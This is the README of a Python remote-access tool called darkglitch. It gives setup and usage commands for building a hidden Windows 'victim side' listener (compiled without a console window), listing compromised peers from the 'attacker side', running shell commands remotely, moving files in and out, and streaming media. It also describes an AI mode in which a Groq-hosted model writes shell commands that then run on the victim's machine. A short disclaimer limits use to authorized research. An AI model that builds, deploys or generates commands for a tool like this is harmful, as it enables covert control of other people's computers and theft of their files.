darkglitch 1.2.8

Remote command delivery and media streaming tool over WebRTC signaling

darkglitch

darkglitch is a lightweight Python proof-of-concept for remote command execution, file transfer, and media streaming over a WebSocket signaling channel. It is intended for authorized security testing and educational use.

What it supports

• start a listener that registers a client and waits for commands
• list online peers in the same signaling room
• run shell commands remotely
• upload and download files
• stream media from a connected client
• turn a natural-language prompt into a shell command with an AI provider

Requirements

• Python 3.10+
• dependencies from requirements.txt
• a Groq API key if you want to use the AI prompt mode

Installation

From the project root:

python3 -m venv .venv
source .venv/bin/activate
pip install -e .

If you want to use the AI prompt mode, install the OpenAI Python client (used with Groq's OpenAI-compatible API):

pip install openai

Configuration

Edit core/config.py to point the client at your signaling server and room:

HOST = "https://your-signal-server.example/"
ROOM = "your-room"

Basic workflow

1. Start a listener (victim side)

Start from source:

python darkglitch.py -l -b

The output is placed in ./dist/darkglitch_listener.exe (built with --noconsole, so it should not pop a console window).

2. List online peers (attacker side)

python darkglitch.py -ol

3. Send a remote command

python darkglitch.py -c <client_id> "whoami"

4. Use an AI-generated bash prompt

python darkglitch.py -ai <client_id> "list all folders in root"

This uses a Groq-backed provider to turn your prompt into a shell command before executing it remotely. If Groq is unavailable or the model returns something unusable, the tool falls back to a simple built-in command.

5. Upload or download files

python darkglitch.py -u <client_id> /path/to/local/file /path/to/remote/file
python darkglitch.py -d <client_id> /path/to/remote/file /path/to/local/file

Help and version

python darkglitch.py -h
python darkglitch.py -v

AI setup

If you want to use the AI prompt mode, export your Groq API key:

export GROQ_API_KEY="your-groq-api-key"

You can override the default model and timeout if needed:

export GROQ_MODEL=openai/gpt-oss-20b
export GROQ_TIMEOUT=60

Notes

This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.